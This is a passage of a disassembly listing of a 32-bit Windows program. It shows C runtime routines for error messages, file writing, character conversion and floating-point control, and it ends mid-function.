		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_40E3C0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_40E3D0
		lea	eax, [ebp+var_A0]
		push	offset asc_418B3C ; "\n\n"
		push	eax
		call	sub_40E3D0
		push	off_422304[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_40E3D0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_416004
		add	esp, 2Ch
		pop	edi
		jmp	short loc_4147C9
; ---------------------------------------------------------------------------


loc_4147A3:				; CODE XREF: sub_414679+3Cj
					; sub_414679+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_422304[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_40CBC0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	dword_418034	; GetStdHandle
		push	eax
		call	dword_418080	; WriteFile


loc_4147C9:				; CODE XREF: sub_414679+2Ej
					; sub_414679+59j ...
		pop	esi
		leave
		retn
sub_414679	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4147CC	proc near		; CODE XREF: sub_40ECC3+95p
					; sub_40ECC3+E8p ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4831E0
		push	esi
		push	edi
		jnb	loc_414960
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4830E0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_414960
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_41481D


loc_414816:				; CODE XREF: sub_4147CC+177j
		xor	eax, eax
		jmp	loc_414974
; ---------------------------------------------------------------------------


loc_41481D:				; CODE XREF: sub_4147CC+48j
		test	al, 20h
		jz	short loc_41482D
		push	2
		push	edi
		push	ecx
		call	sub_413BAD
		add	esp, 0Ch


loc_41482D:				; CODE XREF: sub_4147CC+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_4148FC
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_414934


loc_41484D:				; CODE XREF: sub_4147CC+F5j
		lea	eax, [ebp+var_414]


loc_414853:				; CODE XREF: sub_4147CC+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_414887
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_414872
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_414872:				; CODE XREF: sub_4147CC+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_414853


loc_414887:				; CODE XREF: sub_4147CC+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_418080	; WriteFile
		test	eax, eax
		jz	short loc_4148F1
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_4148C3
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_41484D


loc_4148C3:				; CODE XREF: sub_4147CC+EAj
					; sub_4147CC+12Ej
		xor	edi, edi


loc_4148C5:				; CODE XREF: sub_4147CC+150j
					; sub_4147CC+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_41495B
		cmp	[ebp+arg_0], edi
		jz	short loc_414934
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_414929
		mov	dword_481DBC, 9
		mov	dword_481DC0, eax
		jmp	loc_414971
; ---------------------------------------------------------------------------


loc_4148F1:				; CODE XREF: sub_4147CC+E0j
		call	dword_418044	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_4148C3
; ---------------------------------------------------------------------------


loc_4148FC:				; CODE XREF: sub_4147CC+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	dword_418080	; WriteFile
		test	eax, eax
		jz	short loc_41491E
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_4148C5
; ---------------------------------------------------------------------------


loc_41491E:				; CODE XREF: sub_4147CC+145j
		call	dword_418044	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_4148C5
; ---------------------------------------------------------------------------


loc_414929:				; CODE XREF: sub_4147CC+10Fj
		push	[ebp+arg_0]
		call	sub_413260
		pop	ecx
		jmp	short loc_414971
; ---------------------------------------------------------------------------


loc_414934:				; CODE XREF: sub_4147CC+7Bj
					; sub_4147CC+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_414949
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_414816


loc_414949:				; CODE XREF: sub_4147CC+16Fj
		mov	dword_481DBC, 1Ch
		mov	dword_481DC0, edi
		jmp	short loc_414971
; ---------------------------------------------------------------------------


loc_41495B:				; CODE XREF: sub_4147CC+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_414974
; ---------------------------------------------------------------------------


loc_414960:				; CODE XREF: sub_4147CC+15j
					; sub_4147CC+37j
		and	dword_481DC0, 0
		mov	dword_481DBC, 9


loc_414971:				; CODE XREF: sub_4147CC+120j
					; sub_4147CC+166j ...
		or	eax, 0FFFFFFFFh


loc_414974:				; CODE XREF: sub_4147CC+4Cj
					; sub_4147CC+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4147CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_414979	proc near		; CODE XREF: sub_40ECC3+6Cp
					; sub_412DA9+32p ...

arg_0		= dword	ptr  4

		inc	dword_481F80
		push	1000h
		call	sub_40CCCF
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_4149A2
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_4149B3
; ---------------------------------------------------------------------------


loc_4149A2:				; CODE XREF: sub_414979+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_4149B3:				; CODE XREF: sub_414979+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_414979	endp


; =============== S U B	R O U T	I N E =======================================



sub_4149BD	proc near		; CODE XREF: sub_40ECC3+61p
					; sub_413AE3+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4831E0
		jb	short loc_4149CC
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4149CC:				; CODE XREF: sub_4149BD+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4830E0[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_4149BD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4149E3	proc near		; DATA XREF: .nsp0:0041A01Co
		mov	eax, dword_4830C0
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_4149F7
		mov	eax, 200h
		jmp	short loc_4149FD
; ---------------------------------------------------------------------------


loc_4149F7:				; CODE XREF: sub_4149E3+Bj
		cmp	eax, esi
		jge	short loc_414A02
		mov	eax, esi


loc_4149FD:				; CODE XREF: sub_4149E3+12j
		mov	dword_4830C0, eax


loc_414A02:				; CODE XREF: sub_4149E3+16j
		push	4
		push	eax
		call	sub_41608D
		pop	ecx
		mov	dword_4820B0, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_414A36
		push	4
		push	esi
		mov	dword_4830C0, esi
		call	sub_41608D
		pop	ecx
		mov	dword_4820B0, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_414A36
		push	1Ah
		call	sub_40EC7A
		pop	ecx


loc_414A36:				; CODE XREF: sub_4149E3+30j
					; sub_4149E3+49j
		xor	ecx, ecx
		mov	eax, offset off_422390


loc_414A3D:				; CODE XREF: sub_4149E3+6Ej
		mov	edx, dword_4820B0
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_422610
		jl	short loc_414A3D
		xor	edx, edx
		mov	ecx, offset dword_4223A0


loc_414A5A:				; CODE XREF: sub_4149E3+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4830E0[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_414A77
		test	eax, eax
		jnz	short loc_414A7A


loc_414A77:				; CODE XREF: sub_4149E3+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_414A7A:				; CODE XREF: sub_4149E3+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_422400
		jl	short loc_414A5A
		pop	esi
		retn
sub_4149E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_414A88	proc near		; DATA XREF: .nsp0:0041A02Co

; FUNCTION CHUNK AT 0041613E SIZE 00000058 BYTES

		call	sub_412D33
		cmp	byte_481DFC, 0
		jz	short locret_414A9B
		jmp	loc_41613E
; ---------------------------------------------------------------------------

locret_414A9B:				; CODE XREF: sub_414A88+Cj
		retn
sub_414A88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414A9C	proc near		; CODE XREF: sub_40EDD8+2D4p
					; sub_40EDD8+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_414AA8
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_414AA8:				; CODE XREF: sub_414A9C+8j
		cmp	dword_481E4C, 0
		jnz	short loc_414AC3
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_414AF5
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_414AC3:				; CODE XREF: sub_414A9C+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_422004
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_481E5C
		call	dword_4180C8	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_414AF5
		cmp	[ebp+arg_0], 0
		jz	short loc_414B02


loc_414AF5:				; CODE XREF: sub_414A9C+1Ej
					; sub_414A9C+51j
		mov	dword_481DBC, 2Ah
		or	eax, 0FFFFFFFFh


loc_414B02:				; CODE XREF: sub_414A9C+57j
		pop	ebp
		retn
sub_414A9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414B04	proc near		; CODE XREF: sub_40F5E2+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_414B27
		cmp	[ebp+arg_8], ebx
		jz	short loc_414B27
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_414B2D
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_414B27
		mov	[eax], bx


loc_414B27:				; CODE XREF: sub_414B04+Cj
					; sub_414B04+11j ...
		xor	eax, eax


loc_414B29:				; CODE XREF: sub_414B04+42j
					; sub_414B04+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_414B2D:				; CODE XREF: sub_414B04+17j
		cmp	dword_481E4C, ebx
		jnz	short loc_414B48
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_414B43
		movzx	ax, al
		mov	[ecx], ax


loc_414B43:				; CODE XREF: sub_414B04+36j
					; sub_414B04+C0j
		push	1
		pop	eax
		jmp	short loc_414B29
; ---------------------------------------------------------------------------


loc_414B48:				; CODE XREF: sub_414B04+2Fj
		mov	ecx, off_421DF8
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_414BA5
		mov	eax, dword_422004
		cmp	eax, 1
		jle	short loc_414B8C
		cmp	[ebp+arg_8], eax
		jl	short loc_414B96
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_481E5C
		call	dword_4180CC	; MultiByteToWideChar
		test	eax, eax
		mov	eax, dword_422004
		jnz	short loc_414B29


loc_414B8C:				; CODE XREF: sub_414B04+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_414B96
		cmp	[esi+1], bl
		jnz	short loc_414B29


loc_414B96:				; CODE XREF: sub_414B04+61j
					; sub_414B04+8Bj ...
		mov	dword_481DBC, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_414B29
; ---------------------------------------------------------------------------


loc_414BA5:				; CODE XREF: sub_414B04+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_481E5C
		call	dword_4180CC	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_414B43
		jmp	short loc_414B96
sub_414B04	endp


; =============== S U B	R O U T	I N E =======================================



sub_414BCC	proc near		; CODE XREF: sub_40F5E2+76p
					; sub_40F5E2+88p ...

arg_0		= dword	ptr  4

		cmp	dword_422004, 1
		jle	short loc_414BE3
		push	8
		push	[esp+4+arg_0]
		call	sub_412B49
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_414BE3:				; CODE XREF: sub_414BCC+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_421DF8
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_414BCC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_414C00	proc near		; CODE XREF: sub_40F5E2+797p
					; sub_40F5E2+7E7p
		cmp	cl, 40h
		jnb	short loc_414C1A
		cmp	cl, 20h
		jnb	short loc_414C10
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_414C10:				; CODE XREF: sub_414C00+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_414C1A:				; CODE XREF: sub_414C00+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_414C00	endp


; =============== S U B	R O U T	I N E =======================================



sub_414C1F	proc near		; CODE XREF: sub_410058+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_414C6B
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_414C3D
		test	al, 80h
		jz	short loc_414C6B
		test	al, 2
		jnz	short loc_414C6B


loc_414C3D:				; CODE XREF: sub_414C1F+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_414C4A
		push	esi
		call	sub_414979
		pop	ecx


loc_414C4A:				; CODE XREF: sub_414C1F+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_414C5A
		cmp	dword ptr [esi+4], 0
		jnz	short loc_414C6B
		inc	eax
		mov	[esi], eax


loc_414C5A:				; CODE XREF: sub_414C1F+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_414C71
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_414C77
		inc	eax
		mov	[esi], eax


loc_414C6B:				; CODE XREF: sub_414C1F+9j
					; sub_414C1F+18j ...
		or	eax, 0FFFFFFFFh


loc_414C6E:				; CODE XREF: sub_414C1F+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_414C71:				; CODE XREF: sub_414C1F+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_414C77:				; CODE XREF: sub_414C1F+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_414C6E
sub_414C1F	endp


; =============== S U B	R O U T	I N E =======================================



sub_414C8D	proc near		; CODE XREF: sub_411A49+52p
		xor	eax, eax
		retn
sub_414C8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414C90	proc near		; CODE XREF: sub_414CC5+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_414CDB
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_414D6D
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_414C90	endp


; =============== S U B	R O U T	I N E =======================================



sub_414CC5	proc near		; CODE XREF: sub_411D35+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_414C90
		pop	ecx
		pop	ecx
		retn
sub_414CC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_414CDB	proc near		; CODE XREF: sub_414C90+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_414CEC
		push	10h
		pop	eax


loc_414CEC:				; CODE XREF: sub_414CDB+Cj
		test	bl, 4
		jz	short loc_414CF3
		or	al, 8


loc_414CF3:				; CODE XREF: sub_414CDB+14j
		test	bl, 8
		jz	short loc_414CFA
		or	al, 4


loc_414CFA:				; CODE XREF: sub_414CDB+1Bj
		test	bl, 10h
		jz	short loc_414D01
		or	al, 2


loc_414D01:				; CODE XREF: sub_414CDB+22j
		test	bl, 20h
		jz	short loc_414D08
		or	al, 1


loc_414D08:				; CODE XREF: sub_414CDB+29j
		test	bl, 2
		jz	short loc_414D12
		or	eax, 80000h


loc_414D12:				; CODE XREF: sub_414CDB+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_414D4A
		cmp	edx, 400h
		jz	short loc_414D47
		cmp	edx, 800h
		jz	short loc_414D43
		cmp	edx, esi
		jnz	short loc_414D4A
		or	eax, edi
		jmp	short loc_414D4A
; ---------------------------------------------------------------------------


loc_414D43:				; CODE XREF: sub_414CDB+5Ej
		or	eax, ebp
		jmp	short loc_414D4A
; ---------------------------------------------------------------------------


loc_414D47:				; CODE XREF: sub_414CDB+56j
		or	ah, 1


loc_414D4A:				; CODE XREF: sub_414CDB+4Ej
					; sub_414CDB+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_414D5A
		cmp	ecx, ebp
		jnz	short loc_414D5F
		or	eax, 10000h
		jmp	short loc_414D5F
; ---------------------------------------------------------------------------


loc_414D5A:				; CODE XREF: sub_414CDB+72j
		or	eax, 20000h


loc_414D5F:				; CODE XREF: sub_414CDB+76j
					; sub_414CDB+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_414D6C
		or	eax, 40000h

locret_414D6C:				; CODE XREF: sub_414CDB+8Aj
		retn
sub_414CDB	endp


; =============== S U B	R O U T	I N E =======================================



sub_414D6D	proc near		; CODE XREF: sub_414C90+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_414D7D
		push	1
		pop	eax


loc_414D7D:				; CODE XREF: sub_414D6D+Bj
		test	bl, 8
		jz	short loc_414D84
		or	al, 4


loc_414D84:				; CODE XREF: sub_414D6D+13j
		test	bl, 4
		jz	short loc_414D8B
		or	al, 8


loc_414D8B:				; CODE XREF: sub_414D6D+1Aj
		test	bl, 2
		jz	short loc_414D92
		or	al, 10h


loc_414D92:				; CODE XREF: sub_414D6D+21j
		test	bl, 1
		jz	short loc_414D99
		or	al, 20h


loc_414D99:				; CODE XREF: sub_414D6D+28j
		test	ebx, 80000h
		jz	short loc_414DA3
		or	al, 2


loc_414DA3:				; CODE XREF: sub_414D6D+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_414DD0
		cmp	ecx, 100h
		jz	short loc_414DCD
		cmp	ecx, esi
		jz	short loc_414DC8
		cmp	ecx, edx
		jnz	short loc_414DD0
		or	ah, 0Ch
		jmp	short loc_414DD0
; ---------------------------------------------------------------------------


loc_414DC8:				; CODE XREF: sub_414D6D+50j
		or	ah, 8
		jmp	short loc_414DD0
; ---------------------------------------------------------------------------


loc_414DCD:				; CODE XREF: sub_414D6D+4Cj
		or	ah, 4


loc_414DD0:				; CODE XREF: sub_414D6D+44j
					; sub_414D6D+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_414DE6
		cmp	ecx, 10000h
		jnz	short loc_414DE8
		or	eax, esi
		jmp	short loc_414DE8
; ---------------------------------------------------------------------------


loc_414DE6:				; CODE XREF: sub_414D6D+6Bj
		or	eax, edx


loc_414DE8:				; CODE XREF: sub_414D6D+73j
					; sub_414D6D+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_414DF5
		or	ah, 10h

locret_414DF5:				; CODE XREF: sub_414D6D+83j
		retn
sub_414D6D	endp


; =============== S U B	R O U T	I N E =======================================



sub_414DF6	proc near		; CODE XREF: sub_414E95+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_414E3B
		inc	esi
		cmp	esi, 3
		jge	short loc_414E36
		lea	eax, [eax+esi*4]


loc_414E28:				; CODE XREF: sub_414DF6+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_414E3B
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_414E28


loc_414E36:				; CODE XREF: sub_414DF6+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_414E3B:				; CODE XREF: sub_414DF6+27j
					; sub_414DF6+35j
		xor	eax, eax
		pop	esi
		retn
sub_414DF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_414E3F	proc near		; CODE XREF: sub_414E95+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_416196
		add	esp, 0Ch
		dec	esi
		js	short loc_414E91
		lea	edi, [ebx+esi*4]


loc_414E78:				; CODE XREF: sub_414E3F+50j
		test	eax, eax
		jz	short loc_414E91
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_416196
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_414E78


loc_414E91:				; CODE XREF: sub_414E3F+34j
					; sub_414E3F+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_414E3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414E95	proc near		; CODE XREF: sub_414FF0+81p
					; sub_414FF0+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_414EF9
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_414DF6
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_414EF6
		push	edi
		push	[ebp+arg_0]
		call	sub_414E3F
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_414EF6:				; CODE XREF: sub_414E95+51j
		mov	eax, [ebp+arg_4]


loc_414EF9:				; CODE XREF: sub_414E95+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_414F19
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_414F19:				; CODE XREF: sub_414E95+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414E95	endp


; =============== S U B	R O U T	I N E =======================================



sub_414F21	proc near		; CODE XREF: sub_414FF0+75p
					; sub_414FF0+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_414F2F:				; CODE XREF: sub_414F21+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_414F2F
		pop	esi
		retn
sub_414F21	endp


; =============== S U B	R O U T	I N E =======================================



sub_414F3C	proc near		; CODE XREF: sub_414FF0+5Fp
					; sub_414FF0+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_414F3C	endp


; =============== S U B	R O U T	I N E =======================================



sub_414F48	proc near		; CODE XREF: sub_414FF0+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_414F4E:				; CODE XREF: sub_414F48+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_414F60
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_414F4E
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_414F60:				; CODE XREF: sub_414F48+9j
		xor	eax, eax
		retn
sub_414F48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414F63	proc near		; CODE XREF: sub_414FF0+C0p
					; sub_414FF0+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_414F99:				; CODE XREF: sub_414F63+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
